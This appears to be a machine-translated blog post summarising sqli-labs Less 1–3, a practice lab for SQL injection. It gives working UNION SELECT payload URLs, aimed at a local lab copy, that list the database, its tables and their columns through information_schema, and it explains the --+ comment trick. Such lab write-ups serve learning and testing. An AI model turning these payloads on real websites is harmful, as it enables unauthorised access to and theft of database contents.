当前位置:网站首页>Summary of the first three passes of sqli Labs
Summary of the first three passes of sqli Labs
2022-07-02 15:27:00 【[email protected]】
Catalog
Their thinking
First of all, we need to judge whether it exists sql Inject holes , Look for the injection point ,SQL There are usually two types of injection , Plastic injection and character injection , If we want to judge which kind of injection this is, we need to analyze the error reporting statements here , Input –+ take sql After the following statement is commented out , You can judge the type by finding out whether the page echo is normal , Then use order by Sentence judgment , There are several columns of data in this table , And then id=1 Change to a database that doesn't exist id value , Such as -1, Use union select 1,2,3 Joint query statement to see whether the page has display bits , The last is to explode the library , Explosion meter , Pop field .
Blast storage
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,database()–+
Explosion meter
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
Pop field
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ and table_schema=‘security’–+
summary
group_concat() function
group_concat() Which lines belong to the same group , Show columns that belong to the same group . Which columns to return , By function parameter ( Is the field name ) decision . There must be a standard for grouping , It is based on group by The specified columns are grouped , That is, it is used to put SQL The results of statements are spliced together .
--
stay SQL Inside is a comment , But in URL in , If you add at the end -- , When the browser sends the request, it will send URL The space at the end is rounded off , So we use –+ Instead of -- , as a result of + stay URL By URL After encoding, it will become a space .
order by
By using order by Sentence to judge , There are several columns of data in this table .( The judgment method is whether the page echo is normal ).
union
Combine two result sets , Do not include repeating lines , At the same time, sort the default rules ;union Duplicate records will be filtered out after table linking , Therefore, after the table is linked, the generated result set will be sorted , Delete duplicate records and return results . On the left of the question select The clause query results are empty , that union The query result on the right naturally becomes the first row , Printed on the web page . take id Change to -1, send union The previous statement reports an error , It'll do the following .
版权声明
本文为[[email protected]]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/02/202202151501338110.html
边栏推荐
- Map introduction
- 05_ queue
- 党史纪实主题公益数字文创产品正式上线
- Facing the challenge of "lack of core", how can Feiling provide a stable and strong guarantee for customers' production capacity?
- 记一次面试
- How does the computer set up speakers to play microphone sound
- Base64 coding can be understood this way
- Practice of compiling principle course -- implementing an interpreter or compiler of elementary function operation language
- Download blender on Alibaba cloud image station
- 让您的HMI更具优势,FET-G2LD-C核心板是个好选择
猜你喜欢
随机推荐
How to solve the problem of database content output
TiDB数据迁移场景综述
How to find a sense of career direction
搭载TI AM62x处理器,飞凌FET6254-C核心板首发上市!
搭建自己的语义分割平台deeplabV3+
Internet Explorer officially retired
Record an interview
Tidb cross data center deployment topology
I made an istio workshop. This is the first introduction
N皇后问题的解决
04.进入云原生后的企业级应用构建的一些思考
如何用 Sysbench 测试 TiDB
03_線性錶_鏈錶
13_ Redis_ affair
CodeCraft-22 and Codeforces Round #795 (Div. 2)D,E
03_线性表_链表
14_ Redis_ Optimistic lock
飞凌嵌入式RZ/G2L处理器核心板及开发板上手评测
How to avoid 7 common problems in mobile and network availability testing
Base64 coding can be understood this way


![[noi simulation] Elis (greedy, simulation)](/img/a2/f8c8ab3bc8dd779327be3f76990976.png)





